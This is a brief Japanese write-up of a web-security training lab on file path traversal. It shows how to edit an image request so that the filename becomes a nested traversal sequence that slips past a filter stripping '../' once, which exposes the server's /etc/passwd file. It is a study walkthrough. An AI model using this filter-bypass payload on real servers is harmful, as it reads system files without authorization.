academy ディレクトリトラバーサル 3問目 ファイルパストラバーサル、トラバーサルシーケンスは非再帰的に削除されます

Lab: File path traversal, traversal sequences stripped non-recursively

トップページにアクセス

ヒストリーのフィルター設定で、imagesにチェックを入れます。

製品画像のリクエストも表示されました。
GET /image?filename=x.jpg

このリクエストは、リピータに渡し、
/image?filename=….//….//….//etc/passwd
に変更して、sendします。

レスポンスに、passwdファイルが表示され、クリア！

今回は、
….//….//….//etc/passwd
です。

../を削除するプログラムになっていても、
../../../etc/passwd
になります。

–)v